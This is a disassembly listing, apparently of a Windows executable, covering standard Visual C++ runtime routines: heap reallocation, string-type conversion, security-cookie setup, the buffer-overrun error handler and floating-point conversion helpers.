loc_41509B:				; CODE XREF: sub_414F92+41j
		cmp	dword_4C5988, 0
		jz	short loc_4150B5
		push	esi
		call	sub_412B9F
		test	eax, eax
		pop	ecx
		jnz	loc_414FCE
		jmp	short loc_4150ED
; ---------------------------------------------------------------------------


loc_4150B5:				; CODE XREF: sub_414F92+107j
					; sub_414F92+110j
		mov	eax, edi
		jmp	short loc_4150EF
; ---------------------------------------------------------------------------


loc_4150B9:				; CODE XREF: sub_414F92+36j
					; sub_414F92+159j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_4150D9
		test	esi, esi
		jnz	short loc_4150C5
		inc	esi


loc_4150C5:				; CODE XREF: sub_414F92+130j
		push	esi
		push	ebx
		push	0
		push	dword_4C5B64
		call	dword_419170	; RtlReAllocateHeap
		test	eax, eax
		jnz	short loc_4150EF


loc_4150D9:				; CODE XREF: sub_414F92+12Cj
		cmp	dword_4C5988, 0
		jz	short loc_4150EF
		push	esi
		call	sub_412B9F
		test	eax, eax
		pop	ecx
		jnz	short loc_4150B9


loc_4150ED:				; CODE XREF: sub_414F92+2Aj
					; sub_414F92+121j
		xor	eax, eax


loc_4150EF:				; CODE XREF: sub_414F92+125j
					; sub_414F92+145j ...
		pop	esi


loc_4150F0:				; CODE XREF: sub_414F92+15j
		pop	edi
		pop	ebp
		pop	ebx
		retn
sub_414F92	endp


; =============== S U B	R O U T	I N E =======================================



sub_4150F4	proc near		; CODE XREF: sub_4114F6+7p

arg_0		= dword	ptr  4

		cmp	dword_4C5B68, 3
		push	esi
		jnz	short loc_415118
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_4120C4
		test	eax, eax
		pop	ecx
		jz	short loc_415115
		mov	eax, [esi-4]
		sub	eax, 9
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415115:				; CODE XREF: sub_4150F4+17j
		push	esi
		jmp	short loc_41511C
; ---------------------------------------------------------------------------


loc_415118:				; CODE XREF: sub_4150F4+8j
		push	[esp+4+arg_0]


loc_41511C:				; CODE XREF: sub_4150F4+22j
		push	0
		push	dword_4C5B64
		call	dword_419028	; RtlSizeHeap
		pop	esi
		retn
sub_4150F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41512C	proc near		; CODE XREF: sub_411692+A4p
					; sub_411AAF+4Fp ...

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	1Ch
		push	offset stru_41C5A8
		call	__SEH_prolog
		xor	esi, esi
		cmp	dword_4C5ADC, esi
		jnz	short loc_415177
		lea	eax, [ebp+var_1C]
		push	eax
		xor	edi, edi
		inc	edi
		push	edi
		push	offset dword_41BCD0
		push	edi
		call	dword_419020	; GetStringTypeW
		test	eax, eax
		jz	short loc_415162
		mov	dword_4C5ADC, edi
		jmp	short loc_415177
; ---------------------------------------------------------------------------


loc_415162:				; CODE XREF: sub_41512C+2Cj
		call	dword_4190AC	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_415177
		mov	dword_4C5ADC, 2


loc_415177:				; CODE XREF: sub_41512C+14j
					; sub_41512C+34j ...
		mov	eax, dword_4C5ADC
		cmp	eax, 2
		jz	loc_41526F
		cmp	eax, esi
		jz	loc_41526F
		cmp	eax, 1
		jnz	loc_415295
		mov	[ebp+var_20], esi
		mov	[ebp+var_24], esi
		cmp	[ebp+arg_10], esi
		jnz	short loc_4151A9
		mov	eax, dword_4C59A8
		mov	[ebp+arg_10], eax


loc_4151A9:				; CODE XREF: sub_41512C+73j
		push	esi
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		xor	eax, eax
		cmp	[ebp+arg_18], esi
		setnz	al
		lea	eax, ds:1[eax*8]
		push	eax
		push	[ebp+arg_10]
		call	dword_41913C	; MultiByteToWideChar
		mov	edi, eax
		mov	[ebp+var_28], edi
		test	edi, edi
		jz	loc_415295
		and	[ebp+ms_exc.disabled], 0
		lea	ebx, [edi+edi]
		mov	eax, ebx
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_40D9A0
		mov	[ebp+ms_exc.old_esp], esp
		mov	esi, esp
		mov	[ebp+var_2C], esi
		push	ebx
		push	0
		push	esi
		call	sub_40D7B0
		add	esp, 0Ch
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_41521A
; ---------------------------------------------------------------------------


loc_415205:				; DATA XREF: .text:stru_41C5A8o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_415209:				; DATA XREF: .text:stru_41C5A8o
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_414EC1
		xor	esi, esi
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	edi, [ebp+var_28]


loc_41521A:				; CODE XREF: sub_41512C+D7j
		test	esi, esi
		jnz	short loc_415235
		push	edi
		push	2
		call	sub_410733
		pop	ecx
		pop	ecx
		mov	esi, eax
		test	esi, esi
		jz	short loc_415295
		mov	[ebp+var_24], 1


loc_415235:				; CODE XREF: sub_41512C+F0j
		push	edi
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	dword_41913C	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_41525D
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	dword_419020	; GetStringTypeW
		mov	[ebp+var_20], eax


loc_41525D:				; CODE XREF: sub_41512C+11Ej
		cmp	[ebp+var_24], 0
		jz	short loc_41526A
		push	esi
		call	sub_40E359
		pop	ecx


loc_41526A:				; CODE XREF: sub_41512C+135j
		mov	eax, [ebp+var_20]
		jmp	short loc_4152DD
; ---------------------------------------------------------------------------


loc_41526F:				; CODE XREF: sub_41512C+53j
					; sub_41512C+5Bj
		mov	ebx, [ebp+arg_14]
		cmp	ebx, esi
		jnz	short loc_41527C
		mov	ebx, dword_4C5998


loc_41527C:				; CODE XREF: sub_41512C+148j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jnz	short loc_415289
		mov	edi, dword_4C59A8


loc_415289:				; CODE XREF: sub_41512C+155j
		push	ebx
		call	sub_415FE6
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_415299


loc_415295:				; CODE XREF: sub_41512C+64j
					; sub_41512C+A5j ...
		xor	eax, eax
		jmp	short loc_4152DD
; ---------------------------------------------------------------------------


loc_415299:				; CODE XREF: sub_41512C+167j
		cmp	eax, edi
		jz	short loc_4152BB
		push	0
		push	0
		lea	ecx, [ebp+arg_8]
		push	ecx
		push	[ebp+arg_4]
		push	eax
		push	edi
		call	sub_41602F
		add	esp, 18h
		mov	esi, eax
		test	esi, esi
		jz	short loc_415295
		mov	[ebp+arg_4], esi


loc_4152BB:				; CODE XREF: sub_41512C+16Fj
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	ebx
		call	dword_419024	; GetStringTypeA
		mov	edi, eax
		test	esi, esi
		jz	short loc_4152DB
		push	esi
		call	sub_40E359
		pop	ecx


loc_4152DB:				; CODE XREF: sub_41512C+1A6j
		mov	eax, edi


loc_4152DD:				; CODE XREF: sub_41512C+141j
					; sub_41512C+16Bj
		lea	esp, [ebp-38h]
		call	__SEH_epilog
		retn
sub_41512C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4152E6	proc near		; DATA XREF: .text:0041E004o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_419180	; GetSystemTimeAsFileTime
		mov	esi, [ebp+var_4]
		xor	esi, [ebp+var_8]
		call	dword_4190BC	; GetCurrentProcessId
		xor	esi, eax
		call	dword_41917C	; GetCurrentThreadId
		xor	esi, eax
		call	dword_4190A8	; GetTickCount
		xor	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_4190D0	; QueryPerformanceCounter
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	esi, eax
		mov	dword_421360, esi
		jnz	short loc_415339
		mov	dword_421360, 0BB40E64Eh


loc_415339:				; CODE XREF: sub_4152E6+47j
		pop	esi
		leave
		retn
sub_4152E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41533C	proc near		; CODE XREF: sub_411BA5-1Dp

var_128		= byte ptr -128h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	118h
		push	offset stru_41C758
		call	__SEH_prolog
		mov	eax, dword_421360
		xor	eax, [ebp+4]
		mov	[ebp+var_1C], eax
		mov	eax, dword_4C5AE0
		xor	ecx, ecx
		cmp	eax, ecx
		jz	short loc_415380
		mov	[ebp+ms_exc.disabled], ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	eax
		pop	ecx
		pop	ecx


loc_41536E:				; CODE XREF: sub_41533C+42j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	loc_41547E
; ---------------------------------------------------------------------------


loc_415377:				; DATA XREF: .text:stru_41C758o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_41537B:				; DATA XREF: .text:stru_41C758o
		mov	esp, [ebp+ms_exc.old_esp]
		jmp	short loc_41536E
; ---------------------------------------------------------------------------


loc_415380:				; CODE XREF: sub_41533C+23j
		mov	eax, [ebp+arg_0]
		dec	eax
		jz	short loc_415399
		mov	edi, offset aUnknownSecurit ; "Unknown security	failure	detected!"
		mov	[ebp+var_20], offset aASecurityError ; "A security error of unknown cause has b"...
		mov	esi, 0D4h
		jmp	short loc_4153AA
; ---------------------------------------------------------------------------


loc_415399:				; CODE XREF: sub_41533C+48j
		mov	edi, offset aBufferOverrunD ; "Buffer overrun detected!"
		mov	[ebp+var_20], offset aABufferOverrun ; "A buffer overrun has been detected whic"...
		mov	esi, 0B9h


loc_4153AA:				; CODE XREF: sub_41533C+5Bj
		mov	[ebp+var_24], cl
		push	104h
		lea	eax, [ebp+var_128]
		push	eax
		push	ecx
		call	dword_419090	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_4153D7
		push	offset aProgramNameUnk ; "<program name	unknown>"
		lea	eax, [ebp+var_128]
		push	eax
		call	sub_40D8A0
		pop	ecx
		pop	ecx


loc_4153D7:				; CODE XREF: sub_41533C+86j
		lea	ebx, [ebp+var_128]
		lea	eax, [ebp+var_128]
		push	eax
		call	sub_40D630
		pop	ecx
		add	eax, 0Bh
		cmp	eax, 3Ch
		jbe	short loc_41541B
		lea	eax, [ebp+var_128]
		push	eax
		call	sub_40D630
		mov	ebx, eax
		lea	eax, [ebp+var_128]
		sub	eax, 31h
		add	ebx, eax
		push	3
		push	offset a___	; "..."
		push	ebx
		call	sub_40DB80
		add	esp, 10h


loc_41541B:				; CODE XREF: sub_41533C+B4j
		push	ebx
		call	sub_40D630
		pop	ecx
		lea	eax, [eax+esi+0Ch]
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_40D9A0
		mov	[ebp+ms_exc.old_esp], esp
		mov	esi, esp
		push	edi
		push	esi
		call	sub_40D8A0
		mov	edi, offset asc_41C568 ; "\n\n"
		push	edi
		push	esi
		call	sub_40D8B0
		push	offset dword_41C5B4
		push	esi
		call	sub_40D8B0
		push	ebx
		push	esi
		call	sub_40D8B0
		push	edi
		push	esi
		call	sub_40D8B0
		push	[ebp+var_20]
		push	esi
		call	sub_40D8B0
		push	12010h
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	esi
		call	sub_416BBC
		add	esp, 3Ch


loc_41547E:				; CODE XREF: sub_41533C+36j
		push	3
		call	sub_40DE75
		int	3		; Trap to Debugger
sub_41533C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_415486	proc near		; CODE XREF: sub_415505+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	20h
		pop	ecx
		cdq
		idiv	ecx
		push	1Fh
		pop	ecx
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		mov	ecx, [esp+arg_0]
		not	edx
		test	[ecx+eax*4], edx
		jz	short loc_4154AE


loc_4154A5:				; CODE XREF: sub_415486+26j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4154A8:				; CODE XREF: sub_415486+2Cj
		cmp	dword ptr [ecx+eax*4], 0
		jnz	short loc_4154A5


loc_4154AE:				; CODE XREF: sub_415486+1Dj
		inc	eax
		cmp	eax, 3
		jl	short loc_4154A8
		xor	eax, eax
		inc	eax
		retn
sub_415486	endp


; =============== S U B	R O U T	I N E =======================================



sub_4154B8	proc near		; CODE XREF: sub_415505+42p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		push	20h
		pop	ecx
		cdq
		idiv	ecx
		mov	edi, [esp+8+arg_0]
		mov	esi, eax
		lea	eax, [edi+esi*4]
		push	eax
		push	1Fh
		pop	ecx
		sub	ecx, edx
		xor	edx, edx
		inc	edx
		shl	edx, cl
		push	edx
		push	dword ptr [eax]
		call	sub_416DD8
		add	esp, 0Ch
		dec	esi
		js	short loc_415502
		lea	edi, [edi+esi*4]


loc_4154E9:				; CODE XREF: sub_4154B8+48j
		test	eax, eax
		jz	short loc_415502
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_416DD8
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_4154E9


loc_415502:				; CODE XREF: sub_4154B8+2Cj
					; sub_4154B8+33j
		pop	edi
		pop	esi
		retn
sub_4154B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415505	proc near		; CODE XREF: sub_415626+79p
					; sub_415626+C2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		dec	edi
		push	20h
		lea	eax, [edi+1]
		pop	ecx
		cdq
		idiv	ecx
		push	1Fh
		pop	esi
		sub	esi, edx
		xor	edx, edx
		inc	edx
		mov	ecx, esi
		shl	edx, cl
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		test	[eax+ebx*4], edx
		jz	short loc_415554
		lea	ecx, [edi+1]
		push	ecx
		push	eax
		call	sub_415486
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_415551
		push	edi
		push	[ebp+arg_0]
		call	sub_4154B8
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax


loc_415551:				; CODE XREF: sub_415505+3Cj
		mov	eax, [ebp+arg_0]


loc_415554:				; CODE XREF: sub_415505+2Cj
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax+ebx*4], edx
		inc	ebx
		cmp	ebx, ecx
		jge	short loc_41556F
		lea	edi, [eax+ebx*4]
		sub	ecx, ebx
		xor	eax, eax
		rep stosd


loc_41556F:				; CODE XREF: sub_415505+5Fj
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415505	endp


; =============== S U B	R O U T	I N E =======================================



sub_415577	proc near		; CODE XREF: sub_415626+6Dp
					; sub_415626+ACp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	3
		pop	edx
		sub	ecx, eax
		push	esi


loc_415585:				; CODE XREF: sub_415577+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_415585
		pop	esi
		retn
sub_415577	endp


; =============== S U B	R O U T	I N E =======================================



sub_415592	proc near		; CODE XREF: sub_415626+4Dp

arg_0		= dword	ptr  4

		xor	eax, eax


loc_415594:				; CODE XREF: sub_415592+10j
		mov	ecx, [esp+arg_0]
		cmp	dword ptr [ecx+eax*4], 0
		jnz	short loc_4155A8
		inc	eax
		cmp	eax, 3
		jl	short loc_415594
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_4155A8:				; CODE XREF: sub_415592+Aj
		xor	eax, eax
		retn
sub_415592	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155AB	proc near		; CODE XREF: sub_415626+B6p
					; sub_415626+D0p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		pop	esi
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	ebx, [ebp+arg_0]
		or	edi, 0FFFFFFFFh
		mov	[ebp+arg_4], esi
		mov	ecx, edx
		shl	edi, cl
		mov	[ebp+var_8], eax
		xor	eax, eax
		sub	[ebp+arg_4], edx
		not	edi
		mov	[ebp+var_4], eax


loc_4155D9:				; CODE XREF: sub_4155AB+51j
		mov	esi, [ebx+eax*4]
		mov	ecx, esi
		and	ecx, edi
		mov	[ebp+var_C], ecx
		mov	ecx, edx
		shr	esi, cl
		mov	ecx, [ebp+arg_4]
		or	esi, [ebp+var_4]
		mov	[ebx+eax*4], esi
		mov	esi, [ebp+var_C]
		shl	esi, cl
		inc	eax
		cmp	eax, 3
		mov	[ebp+var_4], esi
		jl	short loc_4155D9
		push	2
		pop	eax
		mov	ecx, eax
		sub	ecx, [ebp+var_8]
		lea	ecx, [ebx+ecx*4]


loc_415609:				; CODE XREF: sub_4155AB+74j
		cmp	eax, [ebp+var_8]
		jl	short loc_415615
		mov	edx, [ecx]
		mov	[ebx+eax*4], edx
		jmp	short loc_415619
; ---------------------------------------------------------------------------


loc_415615:				; CODE XREF: sub_4155AB+61j
		and	dword ptr [ebx+eax*4], 0


loc_415619:				; CODE XREF: sub_4155AB+68j
		dec	eax
		sub	ecx, 4
		test	eax, eax
		jge	short loc_415609
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4155AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415626	proc near		; CODE XREF: sub_41577E+Dp
					; sub_415794+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		movzx	ecx, word ptr [eax+0Ah]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		shl	eax, 10h
		and	edi, 7FFFh
		sub	edi, 3FFFh
		cmp	edi, 0FFFFC001h
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_8], ecx
		push	eax
		jnz	short loc_41568F
		xor	ebx, ebx
		call	sub_415592
		test	eax, eax
		pop	ecx
		jnz	loc_41573E
		lea	edi, [ebp+var_C]
		stosd
		stosd
		stosd


loc_415687:				; CODE XREF: sub_415626+DAj
		push	2
		pop	eax
		jmp	loc_415740
; ---------------------------------------------------------------------------


loc_41568F:				; CODE XREF: sub_415626+49j
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_415577
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_415505
		add	esp, 10h
		test	eax, eax
		jz	short loc_4156AC
		inc	edi


loc_4156AC:				; CODE XREF: sub_415626+83j
		mov	eax, [esi+4]
		mov	ecx, eax
		sub	ecx, [esi+8]
		cmp	edi, ecx
		jge	short loc_4156C2
		xor	eax, eax
		lea	edi, [ebp+var_C]
		stosd
		stosd
		stosd
		jmp	short loc_4156FE
; ---------------------------------------------------------------------------


loc_4156C2:				; CODE XREF: sub_415626+90j
		cmp	edi, eax
		jg	short loc_415702
		sub	eax, edi
		mov	edi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_415577
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		call	sub_4155AB
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_415505
		mov	eax, [esi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4155AB
		add	esp, 20h


loc_4156FE:				; CODE XREF: sub_415626+9Aj
		xor	ebx, ebx
		jmp	short loc_415687
; ---------------------------------------------------------------------------


loc_415702:				; CODE XREF: sub_415626+9Ej
		cmp	edi, [esi]
		push	dword ptr [esi+0Ch]
		jl	short loc_41572A
		xor	eax, eax
		lea	edi, [ebp+var_C]
		stosd
		stosd
		stosd
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4155AB
		mov	ebx, [esi+14h]
		add	ebx, [esi]
		pop	ecx
		xor	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_415740
; ---------------------------------------------------------------------------


loc_41572A:				; CODE XREF: sub_415626+E1j
		mov	ebx, [esi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	ebx, edi
		call	sub_4155AB
		pop	ecx
		pop	ecx


loc_41573E:				; CODE XREF: sub_415626+55j
		xor	eax, eax


loc_415740:				; CODE XREF: sub_415626+64j
					; sub_415626+102j
		push	1Fh
		pop	ecx
		sub	ecx, [esi+0Ch]
		mov	esi, [esi+10h]
		shl	ebx, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	ebx, ecx
		or	ebx, [ebp+var_C]
		cmp	esi, 40h
		jnz	short loc_41576F
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], ebx
		mov	[ecx], edx
		jmp	short loc_415779
; ---------------------------------------------------------------------------


loc_41576F:				; CODE XREF: sub_415626+13Aj
		cmp	esi, 20h
		jnz	short loc_415779
		mov	ecx, [ebp+arg_4]
		mov	[ecx], ebx


loc_415779:				; CODE XREF: sub_415626+147j
					; sub_415626+14Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415626	endp


; =============== S U B	R O U T	I N E =======================================



sub_41577E	proc near		; CODE XREF: sub_4157AA+2Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_421638
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_415626
		add	esp, 0Ch
		retn
sub_41577E	endp


; =============== S U B	R O U T	I N E =======================================



sub_415794	proc near		; CODE XREF: sub_4157ED+2Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_421650
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_415626
		add	esp, 0Ch
		retn
sub_415794	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4157AA	proc near		; CODE XREF: sub_411C70+12p

var_14		= byte ptr -14h
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_421360
		xor	eax, [ebp+4]
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_416F96
		push	[ebp+arg_0]
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_41577E
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		add	esp, 24h
		call	sub_411BA5
		leave
		retn
sub_4157AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4157ED	proc near		; CODE XREF: sub_411C70+2Dp

var_14		= byte ptr -14h
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_421360
		xor	eax, [ebp+4]
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_416F96
		push	[ebp+arg_0]
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_415794
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		add	esp, 24h
		call	sub_411BA5
		leave
		retn
sub_4157ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415830	proc near		; CODE XREF: sub_411CCB+64p
					; sub_411DBE+5Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		mov	ecx, [edx+0Ch]
		push	ebx
		mov	ebx, [ebp+arg_4]
		test	ebx, ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		mov	eax, edi
		jle	short loc_41586D
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_415853:				; CODE XREF: sub_415830+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_41585F
		movsx	edx, dl
		inc	ecx
		jmp	short loc_415862
; ---------------------------------------------------------------------------


loc_41585F:				; CODE XREF: sub_415830+27j
		push	30h
		pop	edx


loc_415862:				; CODE XREF: sub_415830+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_415853
		mov	edx, [ebp+arg_8]


loc_41586D:				; CODE XREF: sub_415830+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_415886
		cmp	byte ptr [ecx],	35h
		jl	short loc_415886
		jmp	short loc_41587E
; ---------------------------------------------------------------------------


loc_41587B:				; CODE XREF: sub_415830+52j
		mov	byte ptr [eax],	30h


loc_41587E:				; CODE XREF: sub_415830+49j
		dec	eax
		cmp	byte ptr [eax],	39h
		jz	short loc_41587B
		inc	byte ptr [eax]


loc_415886:				; CODE XREF: sub_415830+42j
					; sub_415830+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_415890
		inc	dword ptr [edx+4]
		jmp	short loc_4158A2
; ---------------------------------------------------------------------------


loc_415890:				; CODE XREF: sub_415830+59j
		push	edi
		call	sub_40D630
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_40F260
		add	esp, 10h


loc_4158A2:				; CODE XREF: sub_415830+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_415830	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4158A7	proc near		; CODE XREF: sub_415961+1Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	ax, [edx+6]
		push	ebx
		push	esi
		push	edi
		mov	edi, 7FFh
		mov	esi, 80000000h
		mov	[ebp+var_4], esi
		mov	ecx, eax
		shr	ecx, 4
		and	eax, 8000h
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		and	eax, 0FFFFFh
		test	ebx, ebx
		jz	short loc_4158F7
		cmp	ebx, edi
		jz	short loc_4158F0
		lea	edi, [ecx+3C00h]
		jmp	short loc_415918
; ---------------------------------------------------------------------------


loc_4158F0:				; CODE XREF: sub_4158A7+3Fj
		mov	edi, 7FFFh
		jmp	short loc_415918
; ---------------------------------------------------------------------------


loc_4158F7:				; CODE XREF: sub_4158A7+3Bj
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41590F
		cmp	edx, ebx
		jnz	short loc_41590F
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_41595C
; ---------------------------------------------------------------------------


loc_41590F:				; CODE XREF: sub_4158A7+54j
					; sub_4158A7+58j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_415918:				; CODE XREF: sub_4158A7+47j
					; sub_4158A7+4Ej
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		or	ecx, [ebp+var_4]
		mov	eax, [ebp+arg_0]
		shl	edx, 0Bh
		test	ecx, esi
		mov	[eax+4], ecx
		mov	[eax], edx
		jnz	short loc_415953


loc_415934:				; CODE XREF: sub_4158A7+AAj
		mov	ecx, [eax]
		mov	edx, [eax+4]
		mov	ebx, ecx
		shl	edx, 1
		shr	ebx, 1Fh
		or	edx, ebx
		add	ecx, ecx
